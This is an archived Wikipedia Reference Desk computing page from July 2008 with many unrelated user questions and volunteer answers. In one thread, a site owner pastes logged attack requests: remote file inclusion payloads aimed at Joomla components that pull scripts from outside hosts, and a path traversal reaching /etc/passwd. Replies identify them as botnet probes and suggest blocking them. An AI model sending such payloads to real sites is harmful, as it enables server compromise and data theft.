All variables are integers (and a one-dimensional array of integers). You could make this into a recursive procedure, but, although this might reduce the number of lines in the program, it wouldn't reduce the number of operations performed, and there is often a lot of overhead with recursive calls, so that might make it slower. StuRat (talk) 22:26, 11 July 2008 (UTC)

Thanks everyone, I got it now.--A Real Kaiser (talk) 00:11, 12 July 2008 (UTC)

And note that if you're worried about speed/efficiency, avoid strings. They take a lot more overhead than integers and other numbers, and string concatenation, depending on the language, can sometimes be outrageously slow. --98.217.8.46 (talk) 03:37, 12 July 2008 (UTC)

Agreed. That's why my solution used integers only. StuRat (talk) 03:40, 12 July 2008 (UTC)

Don't use this method! This is a terrible, terrible way to generate permutations! Your method loops through ALL configurations of nine decimal numbers, which is 9^10! This is totally unnecessary, since there are only 9! permutations. Your method is approximately 2700 times slower than a better solution! Seriously, this is a terrible, terrible algorithm. Use any of the algorithms here instead, they're much much better.

And by the way, "recursive overhead"? WTF? The stack is AT MOST ten levels deep, the recursive overhead is virtually nil, and, again, considering the fact that this algorithm is 2700 times slower than it needs to be, I'd take a little recursion any day.

Seriously, this is not very good code. --Oskar 08:57, 13 July 2008 (UTC)

By the way, I generated all of them, I have them in a 3.8 mb file. Kaiser, if you send me your email address (through the "Email this user" function"), I can send it to you. --Oskar 09:39, 13 July 2008 (UTC)

what the fuck are you on about? The method above clearly skips ALL the repeated numbers eg All numbers from 110000000 to 119999999 are skipped in one instructions - try re-reading it.87.102.86.73 (talk) 13:43, 13 July 2008 (UTC)

That's what the IF .. THEN ... DO s are for...87.102.86.73 (talk) 15:06, 13 July 2008 (UTC)

Thanks, 87.102.86.73, I didn't think it necessary to explain what the IFs were for, but apparently I was wrong. I wrote up my program in FORTRAN (source code here: [2]), and it filled the array with all 362880 numbers in 0.34 second on my crappy old 500 MHz computer running Windows 98. I then wrote a version using the substring method describing previously (source code shown here: [3]), and it was slightly faster, at 0.33 second per run. It would, of course, take much longer to save all those values to a file or, God forbid, print them all out, but that has nothing to do with the method used to find the numbers. Let me know if you want a copy of the executables e-mailed to you.

And Oskar, if you really do have a method that's 2700 times faster, meaning it completes in 1/8000 of a second, I'd love to see it. My concern on recursive calls isn't the number of levels of recursion, but rather the total number of recursive calls. If a call is made every time a new digit is placed in one of the 362880 values, that would be 9×362880 or 3265920 calls. If we assume just 1/1000 of a second overhead per call, that would take 3266 seconds, or over 54 minutes. StuRat (talk) 23:29, 13 July 2008 (UTC)

stuff moved to question below : see Wikipedia:Reference desk/Computing#optimise87.102.86.73 (talk) 21:44, 13 July 2008 (UTC)

sql

What does the 'Fix" command mean in sql? —Preceding unsigned comment added by 12.153.253.3 (talk) 22:00, 10 July 2008 (UTC)

In what context? Microsoft SQL Server? Oracle? Sybase? MySQL? ANSI SQL? -- Tcncv (talk) 05:04, 11 July 2008 (UTC)

Microsoft SQL server —Preceding unsigned comment added by 12.153.253.3 (talk) 16:16, 11 July 2008 (UTC)

Printer randomly prints the new tab screen of IE7

First off, in case it means something: I have a dell photo 926 all-in-one printer and I use Windows Vista Basic SP1. Two times now, when I'm using the internet with IE7, I've opened a new tab and my printer prints the new tab screen without me trying to print anything. It's annoying and it wastes my ink which is so expensive. Any ideas?--96.227.17.224 (talk) 23:40, 10 July 2008 (UTC)

Try another (better) browser, like Firefox or Opera ? StuRat (talk) 21:40, 11 July 2008 (UTC)

What happens when the printer is unplugged? Does it still try to print? What about if you unplug it, reboot the computer, and try it again? (Since that would unload the printer drivers, etc.) Speaking of which, have you tried updating the printer's drivers? —Preceding unsigned comment added by Aaron Rotenberg (talk • contribs) 22:16, 11 July 2008 (UTC)

IE7 comes with a printer button on the toolbar by default. At least in Windows Vista Ultimate, there is also home and RSS feeds buttons inbetween the printer and new tab button but if for some reason these don't occur in your IE7, it would be rather easy to click on the printer button by mistake. If you don't want the print button at all then just remove it (right click on the toolbar), choose customise command bar, add or remove commands and then remove print. Alternatively just place print as far as possible from the new tabs button. I don't really see this could be construed as a bug with IE7 so blaming it aka StuRat seems pointless to me Nil Einne (talk) 13:41, 12 July 2008 (UTC)

Well, there was a car model which had to be redesigned because they placed the brake pedal too close to the accelerator, resulting in many accidents, so placement of controls (default in this case) is important. Then there is also the need for an "OK"/"Cancel" button when Print is picked. This is an extra keyclick, but seems justified to prevent a 100-page print from being sent to the printer accidentally, especially considering how difficult it is to stop a print once sent. StuRat (talk) 15:09, 12 July 2008 (UTC)

Well as said, by default as far as I'm aware there are always at least two tabs between print and the new tab icon (and this is presuming you have enough tabs that the new tab icon is at the end). As to why the print tab doesn't ask for confirmation, I'm not sure, normal file, print does, I guess it has to do with the "Most people are stupid" attitude that MS adopts. Although realisticly, I don't know of many 100 page webpages, sounds like an incredibly badly designed page to me... Speaking of defaults, Firefox 3 still has the dumb new tab defaults of FF2 where they open the new tab at the end which I find incredibly annoying. Regardless, whatever poor design decisions FF and IE may have made, none of these are bugs IMHO Nil Einne (talk) 21:07, 15 July 2008 (UTC)

Firefox 3.0

I downloaded the newest version of Firefox the day after it was released. Just recently I have had problems with pages loading extremely slowly. This has just begun recently. Sometimes pages will only load about half way and then quit loading. I looked in tools>error console. Here it shows many warnings and errors. The two errors it displays are "Error: [Exception... "Component returned failure code: 0x80004005 (NS_ERROR_FAILURE) [nsIDOMNSHTMLDocument.queryCommandEnabled]" nsresult: "0x80004005 (NS_ERROR_FAILURE)" location: "JS frame :: http://en.wikipedia.org/w/index.php?title=MediaWiki:Gadget-wikEd.js&action=raw&ctype=text/javascript :: anonymous :: line 5218" data: no] Source File: http://en.wikipedia.org/w/index.php?title=MediaWiki:Gadget-wikEd.js&action=raw&ctype=text/javascript Line: 5218" and "Error: Permission denied to call method Location.toString". The first one, however, occurs with varying URLs. The warnings are as follows: "Warning: Expected end of value for property but found ';'. Error in parsing value for property 'content'. Declaration dropped. Source File: http://news.cnet.com/8301-10784_3-9970628-7.html?hhTest=1 Line: 0", "Warning: Error in parsing value for property 'text-align'. Declaration dropped. Source File: http://news.cnet.com/8301-10784_3-9970628-7.html?hhTest=1 Line: 1372", "Warning: Expected end of value for property but found 'default'. Error in parsing value for property 'list-style'. Declaration dropped. Source File: http://news.cnet.com/8301-10784_3-9970628-7.html?hhTest=1 Line: 1372", "Warning: Expected declaration but found '*'. Skipped to next declaration. Source File: http://i.i.com.com/cnwk.1d/css/rb/tiburon/blogs.css Line: 349", etc. There are many of these. They contain varying URLs and Unknown/Unable to parse values. Can anyone tell me what's going on and how to fix it? It is becoming extremely frustrating. It took me about five minutes to load this edit box before I could even begin to type my question. Thank you, Ζρς ι'β' ^¡hábleme! 23:59, 10 July 2008 (UTC)

July 11

How to transfer Favorites/Bookmarked Sites to an Email message?

I have a lot of sites in my favorites bar on Explorer and bookmarked in Firefox. Is there an easy way of copying them to an email and sending them to someone? 92.1.124.26 (talk) 00:11, 11 July 2008 (UTC)

In firefox, click on Organize Bookmarks, then Import and Export, and export as HTML. Then, copy/paste that HTML or attach the HTML file to an email. -- kainaw™ 00:28, 11 July 2008 (UTC)

In Firefox, you can import the Internet Explorer Bookmarks then send use the above method of creating a HTML file by Bookmarks->Organize Bookmarks->File->Import->from: Microsoft Internet Explorer->Next->Finish.--droptone (talk) 12:12, 11 July 2008 (UTC)

You can export them directly from Internet Explorer 7 by going to File --> Import and Export... --> Export Favorites.--Hello. I'm new here, but I'm sure I can help out. (talk) 18:57, 11 July 2008 (UTC)

Source videos

I recorded a video via the in game console in Team Fortress 2. Is there a way to view it out of the game? Also, if it's in some weird video file, how can i convert it to something more common (.avi .wmv)? --Randoman412 (talk) 02:50, 11 July 2008 (UTC)

It depends on whether it is truly recording it as "video" or if it is storing it as in-game information (it's the difference between it saying, "pixel 1 goes here, pixel 2 goes there" and it saying, "render player 1 shooting his gun from this angle, render player 2 shooting it from another." My bet is that it doing the latter, in which case you won't be able to view it outside the game unless you actually record it as "real" video (e.g. through something that captures the current image on the screen). But knowing the file name/format would help out a lot in answering a question like that.

In general, converting (specifically, transcoding) between video formats ("real" video formats) can be done with ffmpeg, though keep in mind you're going to lose some-to-a-lot of quality when you do so. --98.217.8.46 (talk) 03:57, 11 July 2008 (UTC)

You might try something like fraps APL (talk) 03:59, 11 July 2008 (UTC)

I looked into it a little more (aren't I nice?), and this page seems to describe how to convert the in-game files into "true" video files that you could view with normal video programs. It seems like the best you can do is export all the sound as a WAV and then export individual frame from the movie as TarGA files, and then you can use VirtualDub to combine them together into an AVI file.--98.217.8.46 (talk) 04:05, 11 July 2008 (UTC)

Is there an easy way to get this video together without taking 10+ gigs hard drive space? Or something other then fraps? --Randoman412 (talk) 01:38, 12 July 2008 (UTC)

You can easily convert an uncompressed AVI to use any number of video compression codecs Nil Einne (talk) 13:35, 12 July 2008 (UTC)

Like...? --69.127.64.22 (talk) 23:11, 12 July 2008 (UTC)

Turn off

Everytime I get an e-mail from someone not on my mailing list, I get a "Spam Mail Summary" message about a day after I get the message. How can I turn off these "Spam Mail Summary" messages? I've tried replying to the sender of that junk, saying "Stop giving me this 'you may have got spam mail' junk; I don't need it", but not only do I not get a reply back, but I *still* get "Spam Mail Summary" messages. Please help. 208.76.245.162 (talk) 06:15, 11 July 2008 (UTC)

This appears to be a feature of Lightspeed Systems' email programs. Who provides your email service? — Matt Eason ^{(Talk &#149; Contribs)} 09:59, 11 July 2008 (UTC)

Summaries aside, you will get further faster with better filters. Many spammers will simply ignore "please stop" messages, especially since many spammers are botnets.89.241.136.11 (talk) 11:05, 11 July 2008 (UTC)

The OP is sending those to the address the summaries are coming from (presumably an unmonitored address), not to spammers. — Matt Eason ^{(Talk &#149; Contribs)} 12:33, 11 July 2008 (UTC)

Wow, they send you an unwanted e-mail to warn you that you may have been sent an unwanted e-mail ? I wonder who the brilliant person is who came up with that idea. I think AOL did that briefly, but soon figured it out. StuRat (talk) 21:35, 11 July 2008 (UTC)

How about marking the spam mail summary email as spam in Mozilla Thunderbird (or your other email client)? 67.173.249.88 (talk) 22:58, 11 July 2008 (UTC)

Which email client or webmail service are you using? The good ones allow you to set up simple filter rules which will automatically block emails based on certain criteria. For instance, you could have it auto-delete an emails with "Spam Mail Summary" in the title. Nice and easy. 24.76.161.28 (talk) 06:19, 12 July 2008 (UTC)

microsoft outlook won't open if i'm offline..

I don't know why, can I open the attachments in my pst file at least? Thanx in advance --Ulisse0 (talk) 20:06, 11 July 2008 (UTC)

As long as your data files are uncorrupted, you have nothing to worry about. MS Outlook is a fine (though very huge) program that was designed to work in online as well as offline modes. It seems strange why it would not open when you are not on the Internet. Could you give us more information on the attachments, have ample disk space, you might want to import your pst files into Mozilla Thunderbird. Kushal (talk) 01:28, 12 July 2008 (UTC)

July 12

the catch with shutterfly

what's the catch with shutterfly? are they just as harmless as Sun Java, who as a well known writer put it, opened a huge, free amusement park, opened it for business for everyone, and started selling candies in one of the many competing candy stores at the front gate of the amusement park? Surely, there must be a catch in it? what are the drawbacks of shutterfly? 67.173.249.88 (talk) 01:22, 12 July 2008 (UTC)

If you mean Shutterfly, the site, they are probably as "harmless" as any website that seeks to offer you a service of some sort, hopes to build a big audience, and then will ram ads down your throat until no tomorrow in order to turn a profit, or have you join with a pay account, or whatever. I don't see anything particular nefarious about them, or unusual. Perhaps you could be more specific about what you mean. --98.217.8.46 (talk) 21:43, 12 July 2008 (UTC)

For starters, are the images I upload public or private by default? and do they claim copyrights for my photos or something. I mean, if what I perceive as Shutterfly's business model is indeed its business model, and it is profitable, Yahoo! and Google should have come running after to match (or exceed) the offer. 67.173.249.88 (talk) 13:28, 13 July 2008 (UTC)

Well just read their site policies, they aren't hidden away. You retain copyright and ownership of anything you submit to them, but they get a right to use it for their purposes too. I don't know about public or private—if you bother to sign up you'll probably see pretty quickly. Again, I'm not sure why you'd assume there is a "catch"—it's just another photo hosting web service. They're probably just hoping to get bought out by Google like everyone else out there. --98.217.8.46 (talk) 16:42, 13 July 2008 (UTC)

Ubuntu - Audigy Platinum checklist

Hi, I'm running windows whenever I actually want to have sound, which is depressing because I like some of the free music software for linux better than the free pc stuff (I know audacity is cross platform but there's some other stuff). I can try my luck with some kinds of manuals and message boards out there some more but I'm kind of not having much luck. I can't get my front plate (with all the fancy connection ports) to work in either windows or linux and I can't get any sound at all in linux. At this point I guess I'll be satisfied to get the front plate working in windows (even though I'll have to switch back and forth to use Hydrogen) and get the soundcard working in ubuntu, but if I can get the front panel working in ubuntu that would be the best. What are the parameters or aspects or what-have-you that I need to account for to make it work? Can you give me a little overview of the components that make it all (ideally) come together? I was able to get the alsamixer going and make sure nothing's muted and I think I installed a driver for my soundcard but it didn't do anything so I dunno. Thanks. -LambaJan (talk) 02:17, 12 July 2008 (UTC)

Have you tried this? Try looking around the forums to see if there are howtos and the like. Creative's drivers are very dodgy, on both Windows and Linux; is there a reason why you NEED to use the card? --antilived^{T | C | G} 04:56, 12 July 2008 (UTC)

CSS

Hello Wikipedia. Does anyone know of a really great CSS tutorial? I've been working on a new website for a little while now, and I'm having the hardest time getting to div's two sit side by side. So if anyone has some advise, or a good place to start looking, that would be great. Thanks in advance! jesusfreak210 (talk) 05:05, 12 July 2008 (UTC)

The best CSS video tutorials are from Lynda.com and VTC.com. You have to pay for those, though. I'm sure that there are free ones, too, but I just use those two sites.--Hello. I'm new here, but I'm sure I can help out. (talk) 05:12, 12 July 2008 (UTC)

http://w3schools.com. --antilived^{T | C | G} 07:17, 12 July 2008 (UTC)

Try this :

this is left

this is right

-- Finlay McWalter | Talk 09:31, 12 July 2008 (UTC)

Yes, go to Western Civilisation and browse around their excellent CSS materials, free of charge. IFF you're feeling grateful or want an augmented version of this, pony up the modest sum required; but even if you pay them nothing you're not subjected to any nagging about it.

I'd supplement this with a book. There's some dreadful stuff available (even O'Reilly is now churning out huge books bulked up with pointless margins, cartoons, etc.) but I like Eric Meyer's Cascading Style Sheets 2.0: Programmer's Reference (ISBN 0072131780). -- Hoary (talk) 11:17, 12 July 2008 (UTC)

Google Apps location

When I put www.google.com in to the address bar of Firefox 3 I get redirected to www.google.co.uk and I'm in the UK so that's not a problem. But When I want to use Google Apps and I put in www.google.com/a it sometimes changes the language from English, presumably thinking that I'm in a different country. It seems to be something different each time I use it. Today its coming up in Turkish. Anyone know why this is? Jooler (talk) 07:36, 12 July 2008 (UTC)

Are you using Tor? This will mess up google's language (apparently set by tracing your IP). JeremyMcCracken (talk) (contribs) 02:06, 15 July 2008 (UTC)

Free anti virus

Hello people, what is the best free anti virus around? Whatever Anti virus suggests, doesnt seem to be free 59.94.237.192 (talk) 08:14, 12 July 2008 (UTC)

Do you mean gratis or libre? We have list of antivirus software#Freeware and list of antivirus software#Open source depending. Algebraist 08:46, 12 July 2008 (UTC)

Unfaithful browsers

Dear all ! story is this for a long time I used IE then few months ago i downloaded Firefox,both worked superbly whenever these were used.But now both are unwilling to open any web page.I was using IE6 but after it was updated to IE7 it has become totally useless.What might be the reason?Moreover suggest me a good site for real player free-download.--Catherine.michi (talk) 10:35, 12 July 2008 (UTC)

Wait, you can't get to any websites with either IE or Firefox? Are you sure your network connection is working? It sounds like your internet connection is simply down. Is that what's happening? Can you use other internet-apps, like AIM (or any other IM-client) or iTunes or Windows Update?

As for RealPlayer, there is a free version of it. Just go to www.realplayer.com and click on the "Free Download" link. You don't have to pay a dime. --Oskar 11:06, 12 July 2008 (UTC)

Though it boggles the mind as to why anyone would actually want to download RealPlayer... « Aaron Rotenberg « Talk « 13:39, 12 July 2008 (UTC)

The most recent version isn't so horrendous (it's a little horrendous), and if you need to play Real videos (which many sites still use), you don't really have much of a choice (any alternate solutions are just pains in the ass in comparison to just using real player). --Oskar 14:08, 12 July 2008 (UTC)

I have had enough troubles playing the BBC Nepali on my mac without the realplayer for me to go get real player. Kushal (talk) 17:24, 12 July 2008 (UTC)

Thanks guys!I got it.--Catherine.michi (talk) 20:33, 12 July 2008 (UTC)

Network administration question

As network administrator of an engineering company what permissions should i have to grant to company's executive,Managers of different departments and engineers?Please explain.--Catherine.michi (talk) 11:05, 12 July 2008 (UTC)

Well, on the most basic level, this depends on a whole bunch of things: What kind of systems are you using -- i.e., what are you granting permissions to? What do they need access to? What kind of security policies do you guys have in place? What kind of problems could you expect from the permissions? (Could they access confidential information they shouldn't have access to? Could giving them access increase the risk of an unauthorized third party getting into the system? Or could they simply break something by accident? That kind of stuff.)

A good rule of thumb is that in order to maintain a secure system, you shouldn't give anyone any access they don't actually need for their work. This kind of a practice has been known to occasionally lead to confrontations with people who think their authority is being challenged -- "I'm the CEO, I should have access to everything!" -- but it's not really a question of authority, it's a question of balancing work requirements with security requirements. -- Captain Disdain (talk) 12:27, 12 July 2008 (UTC)

OK fine.One question more,if i have to provide IP addresses to 125 computers then I think two IP addresses are enough to be purchased.If this is the case then how many bits sub-netting should be done to fulfill the requirement.--Catherine.michi (talk) 20:38, 12 July 2008 (UTC)

I'm not sure how you could possibly be a network administrator and be clueless about how many bits are required to count to 125, but then you probably don't really care about this stuff as long as you get a good grade on your homework. By this part of the class, you should know what an IP address is and you should know that it contains four numbers, each from 0 to 255. So, if the first three are fixed, the last one can still has 256 possible values (which is more than 125, in case you are wondering). If you fix the first bit of that last number, you get half the possible number - only 128 (again, that is more than 125). If you fix the first two bits of the last number, you half it again - only 64 possible numbers. That is less than 125. Hopefully you can complete the rest of it on your own. -- kainaw™ 03:19, 13 July 2008 (UTC)

I'd like to plug the people who made my TV...

Instead of having a TV/Video button on the remote, it "detects" if RCA cables (red/yellow/white cables) are plugged in and then switches to video mode. This might be acceptable if you plugged the cables in on the side in an easily accessible location, but, alas, they plug in the back. My TV is pushed into a corner of my bedroom so that the back of the TV is quite inaccessible. Due to the small size of my bedroom there doesn't seem to be a way to place it so that the cables can easily be plugged and unplugged when I want to switch between my DVD player and TV. So, just how does the TV "detect" that the cables are plugged in and is there any way I can trick it without actually unplugging the cables ? It's a Quasar VV8220. StuRat (talk) 15:32, 12 July 2008 (UTC)

You've probably tried this, but let's start with the obvious : Does it go back to TV mode if the DVD player is off? APL (talk) 15:43, 12 July 2008 (UTC)

The connectors on the TV into which the RCA cable connectors are plugged can be designed to detect the presence of a plug. It may be a purely mechanical arrangement (sensing the presence of the center pin of the plug) or it can be a jack that notices when the ground ring of the plug shorts together two portions of the jack. Or, as APL infers, the TV could detect the presence of an audio/video signal coming in on the RCA jack. But this whole scheme sounds very limiting -- are you sure there's no way to convince the TV to switch back to "broadcast" mode?

Atlant (talk) 17:47, 12 July 2008 (UTC)

Turning off the DVD player and/or the TV doesn't reset it to TV mode. I'm thinking it's a mechanical sensor on the center pin. Any other ideas ? StuRat (talk) 00:35, 13 July 2008 (UTC)

That's an immensely stupid design. However, If you don't mind losing a small amount of quality (not much, I suspect.) I'd say dispense with the TV's RCA inputs altogether, and get a RF modulator and feed the signal in through the coax jack. If you get one with a built-in switch it may even be not uncomfortably inconvenient. Look at this manual for the Radio Shack Auto-Sensing 4-Way Stereo A/V Selector & RF Modulator. It's also surprisingly inexpensive for a Radio Shack product. I suspect that you could plug your DVD player's RCA plugs and your cable into this device's inputs, and run its coax output to your television. Good luck. APL (talk) 01:02, 13 July 2008 (UTC)

That might be a possibility. I assume it can pass any input through as an identical output (S-VIDEO to S-VIDEO, RCA to RCA, and RF to RF). I'd also guess it downconverts S-VIDEO inputs to RCA or RF outputs and downconverts RCA inputs to RF output. I'd guess that it can't upconvert RF inputs to RCA or S-VIDEO outputs or upconvert RCA inputs to S-VIDEO output. Am I correct ? StuRat (talk) 06:59, 13 July 2008 (UTC)

That's what it appears to do. I've never used that exact piece of equipment. APL (talk) 15:17, 13 July 2008 (UTC)

TVs usually have a TV/AV button on the remote control or on the front panel, but sometimes just selecting channel 0 repeatedly switches between the TV mode and the various other inputs. Astronaut (talk) 05:54, 13 July 2008 (UTC)

This could be the answer. I've noticed that some TVs I've used in hotel rooms have the composite input on the channel list as though it were another channel. Have you tried setting the channel to 2 and clicking "down" a couple of times? APL (talk) 15:17, 13 July 2008 (UTC)

No, that doesn't appear to work. Whenever I try to go to a station it doesn't recognize, like 0, it just stays on the current channel. If I go down from channel 2 it just goes to the highest channel number it finds. This doesn't switch it over to TV mode, though, so I only see the channel change when I unplug the RCA cables. StuRat (talk) 16:01, 13 July 2008 (UTC)

One other bit of info; the video RCA jack and single (mono) audio RCA jack apparently work independently, as follows:

Video    Audio
RCA      RCA
Jack     Jack
Plugged  Plugged
In       In       Result
=======  =======  ========================
  No       No     Video from RF/audio from RF
  Yes      No     Video from RCA/audio from RF
  No       Yes    Video from RF/audio from RCA
  Yes      Yes    Video from RCA/audio from RCA

So, I can apparently play the video from one source and the audio from another, although I don't know why I would ever want to. StuRat (talk) 16:18, 13 July 2008 (UTC)

(Although I realize you're describing a mono input, conceptually,) you might have wanted this "separate" behavior in the days before TVs grew stereo (MTS) sound and simulcasting was occasionally done. FM also provided much better fidelity than TV sound.

Atlant (talk) 12:09, 14 July 2008 (UTC)

I just verified that it does go off the center pin pressure by inserting a rod about the same size as that on the RCA jacks. So, the only way to switch between RCA and RF using a remote would then be to have a device which physically inserts or pulls out the plugs when it get's the proper signal. Does such a device exist ? I suppose the alternative is to open up the TV and attempt to rewire how the RCA jacks work or, as suggested previously, just accept the lower quality and use the RF input exclusively. Another thought, is there a device that takes RF antenna input, selects a given analog channel, and sends that via RCA jacks ? StuRat (talk) 16:40, 13 July 2008 (UTC)

I'd go either for the rewire - it's only a switch after all (watch out for ALL the wires in the tv -they tend to have capacitors and the like storing massive voltages even when switched off..)

OR buy a set-top box - RF signals are mostly far worse than RCA composite (from experience).. What country?? In the UK you can get a set top box for less than £20 now, and that should also accept your dvd input (does the dvd have scart output - that's quite important here) - the set top box solution would be a little more expensive than the RF modulator probably but definately better quality. If you're in the US or HongKong or wherever then I have no idea.87.102.86.73 (talk) 19:55, 13 July 2008 (UTC)

It's in the US. But, out of curiosity, just what would the "set top box" do for someone in the UK ? Convert RF input into RCA outputs ? My DVD player has S-VIDEO and RCA outputs, but no RF (do any of them have RF ?). And definitely no SCART output, that must be a European thing. StuRat (talk) 23:04, 13 July 2008 (UTC)

Yes a 'set top box' is effectively an external TV tuner with composite/component outputs, as well as a by-pass for other things..87.102.86.73 (talk) 10:48, 14 July 2008 (UTC)

A quick search of Radio Shack and I can't find any analog set-top boxes. (possibly under the name 'TV tuner') I know they exist, and certainly you can rent them from the cable company. However, Consider that you'll probably need a digital one come February anyway. APL (talk) 06:07, 14 July 2008 (UTC)

I have a CECB, which produces RCA output. I also have two Canadian stations which I want to continue to get in analog until they switch over 2.5 years after the US. So, a "set-top box", if it allows me to switch between an analog TV RF input, and RCA inputs containing digital TV converted to analog, and RCA or S-VIDEO inputs from my DVD player, with RCA outputs in all cases, would solve the problem nicely for me. Ideally this set-top box would send RCA outputs from the DVD player if it gets input from there, or RCA outputs from the digital TV if it gets input from there, or RCA outputs from the analog TV RF input otherwise. Alternatively, if the same remote that comes with the box to change analog channels also flips between inputs, that would work, too. StuRat (talk) 12:49, 14 July 2008 (UTC)

Sounds like a pretty stupid design. If you can afford a different TV, that might the way to go. Astronaut (talk) 23:15, 13 July 2008 (UTC)

Strange requests

I often see a lot of requests like this in my website's log:

/~grawity//index.php?option=com_lmo&Itemid=&mosConfig_absolute_path=ftp://81.177.8.194/Upload/trem/old?
/~grawity//index.php?option=com_lmo&Itemid=&mosConfig_absolute_path=ftp://81.177.8.194/Upload/trem/1?
/~grawity//index.php?_SERVER[DOCUMENT_ROOT]=ftp://81.177.8.194/Upload/trem/old?
/~grawity//index.php?_SERVER[DOCUMENT_ROOT]=ftp://81.177.8.194/Upload/trem/1?
/~grawity//index.php?option=com_zoom&Itemid=&catid=&mosConfig_absolute_path=http://www.iglesialcs.cl/newweb//images/stories/.bash/in.txt?
/~grawity/index.php?inc=http://www.sonduzluk.com//administrator/components/com_joomla-visites/core/include/i???
/~grawity/index.php?option=com_virtuemart&task=&Itemid=&mosConfig_absolute_path=http://h1.ripway.com/sobatmu/echo.txt??
/~grawity/index.php?header=http://www.globalcare.or.kr/donor/tst.txt??
/~grawity/index.php?get=http://www.tikkieterug.nl/administrator/backups/sistem.gif?
/~grawity//index.php?option=com_lmo&Itemid=&mosConfig_absolute_path=http://www.bicarabuku.com/mambots/system/sql.txt?
/~grawity/index.php?body=http://www.wow-unbreakables.de/phpBB2//language/lang_english/email/id.txt??
/~grawity//index.php?option=com_lmo&Itemid=&mosConfig_absolute_path=../../../../../../../../../../../../../etc/passwd%00
/~grawity//index.php?option=com_letterman&task=view&Itemid=&mosConfig_absolute_path=http://itmovement.com/taxy/templates_nogui/editor/_samples/id.txt?

LOTS of requests like this. (Obviously, they don't work.) Should I notify the ISPs, or just don't bother with it? --grawity 18:20, 12 July 2008 (UTC)

Well, they're obviously trying to "hack" your site, hoping that you've written code so sloppy that if they throw in a few variables suddenly your server will spit back to them anything they want. I doubt notifying the ISPs will do anything much, though. --98.217.8.46 (talk) 18:34, 12 July 2008 (UTC)

...and so far, zero attempts were successful. Plus, I found an interesting FTP site in one of the requests. I'm only asking because it kinda wastes the bandwidth of my host (http://rootshell.be/). --grawity 19:26, 12 July 2008 (UTC)

You can try and contact the system administrator of the FTP site. His e-mail addressis written in that .txt file with a garbled name. Also, he says in that file that the FTP server hosts files for some game server and that he isn't responsible for the contents of the /Upload folder, meaning he can try to find who the hackers are and that could scare them off. Admiral Norton ^(talk) 20:04, 12 July 2008 (UTC)

They're very very likely to come from a slave machine on a botnet (the days of the joyriding amateur Berferd are long gone), so even if anyone were to trace the (apparent) origin they'd only find a poorly maintained Windows machine - and so (if you did tell them) your ISP probably won't do anything about it. It probably isn't using really that much of your bandwidth, as an http request for a non-existent page and the resulting 404 really should only be a few hundred bytes. If the attacks became so frequent that it really was starting to deny service (which is generally due to the network stack getting gummed up with all its socket slots in TIME_WAIT then whoever runs your firewall (which I'd imagine is your ISP) can write a little script that inspects packets thus:

             if the received packet contents match a known-attack-pattern:
                 blacklist the originating IP for 30 mins
                 force the TCP socket closed, and immediately reclaim the socket slot

But mostly its value is in reminding you that skilled people really are trying to hack your website every day.. -- Finlay McWalter | Talk 20:12, 12 July 2008 (UTC)

Well, not that skilled. These are just little injection queries probably run by slave botnets in order to create more slave botnets. They're probably totally automated. I once ran a mail server that got a few machines that tried to do this to it over and over again for awhile. I just blocked the IPs when they came up and eventually it stopped. (Amusingly the bots were trying to use Windows exploits, but the mail server was on a Mac. So it was kind of sad and pathetic.) --98.217.8.46 (talk) 21:24, 12 July 2008 (UTC)

Portrait Mode Monitors

Which monitors can be flipped to the portrait mode? I have been searching online for a couple of weeks and I've only come up with a couple. There must be a faster way. Thanks for any help. Robert Myers —Preceding unsigned comment added by 68.154.27.173 (talk) 18:53, 12 July 2008 (UTC)

With the X Window System, it's easy to rotate or reflect the screen, so you can just get an ordinary LCD panel or whatever, mount it in portrait mode, and then set up X to have the correct orientation. I can even do it right now on my laptop (the only problem is that the keyboard is stuck at the wrong angle). I wouldn't be surprised if Windows or Mac OS X have similar features. —Keenan Pepper 23:48, 12 July 2008 (UTC)

I did once succeed in that trick on Windows XP, but I was using a CRT monitor that can't be rotated. Admiral Norton ^(talk) 00:10, 13 July 2008 (UTC)

At work, I use a LCD monitor which can be turned to a portrait orientation. TBH I haven't tried turning it by more than a few degrees, so I've no idea if the driver switches the display round as well. I'm at home at the moment so all I can say is that it is made by IBM, but I try to post an update on Monday with the model number. Astronaut (talk) 05:36, 13 July 2008 (UTC)

Keep in mind that even if you turn an LCD physically it doesn't mean it was built to show the picture correctly. I tried turning an old IBM LCD on its side and the picture was horrible. --mboverload@ 05:42, 13 July 2008 (UTC)

Old LCDs used to have a pretty narrow viewing angle with brightness and especially color shifts occurring as you went "off-axis"; this may have been the reason the picture was horrible. This is less of a problem with modern LCDs which have pretty amazing viewing angles. And, per the original question, Mac OS X supports rotating the monitors although not all of the Apple Cinema Displays mechanically allow rotation using their provided stands. (Do any?)

Atlant (talk) 11:53, 14 July 2008 (UTC)

My monitor is an IBM ThinkVision 9417-HB7 (manual here) and it doesn't rotate the display automatically. The display card/driver is Intel's Graphics Media Accelerator (82915G/GV/910GL Express Chipset Family) and has a rotate function in the settings. The monitor seem a couple of years old, but perhaps you could find one on the used market. Astronaut (talk) 09:06, 14 July 2008 (UTC)

Scipting with Visual Basic.NET

Hi,

Does anyone know if it's possible to script using Visual Basic.NET? I know some VB.NET, but I don't know any VB Script. When I try to type VB.NET into a file and save it with the .vbs extension, it does not work.

Thanks,

Hello. I'm new here, but I'm sure I can help out. (talk) 23:15, 12 July 2008 (UTC)

VBScript does not work in VB.NET. VB.NET is not really VB in the old sense—it's a different language, something of a hybrid between scripting and a more structured language.

There are ways to import VB6 projects (which are basically VBScript) into VB.NET automatically—maybe there's a way to import VBS? No clue. If it's just a very small amount of code you could try posting it here—it's not that hard to convert if you know your way around both languages. --98.217.8.46 (talk) 23:52, 12 July 2008 (UTC)

Thank you, but I'm looking to create scripts written mostly in Visual Basic.NET. I appreciate the coding offer, but it's more of a long-term need, rather than a single project. I wonder if the Windows Scripting Host can be extended to recognize VB.NET code?--Hello. I'm new here, but I'm sure I can help out. (talk) 00:53, 13 July 2008 (UTC)

VB.NET isn't a scripting language as mentioned above. You could, however, create a simple console application and run it without having to output to System.Console. I do this all the time and I never hesitate to create a simple console application whenever I feel like automating something. Create a new console application, write the code and run whenever. I don't understand why you don't want to run an exe file as opposed to a vbs file. If the black console window is bothering you there are ways to hide it. If you want to compile without visual studio you could simply use vbc.exe. --Yousifnet (talk) 01:25, 13 July 2008 (UTC)

Honestly, if you can use VBScript, you could probably figure out the relevant VB.NET without too much effort—it's not totally foreign from old school VB. It all depends on what you are doing. You can make it run as a console or hidden in the background or whatever you want. --98.217.8.46 (talk) 02:06, 13 July 2008 (UTC)

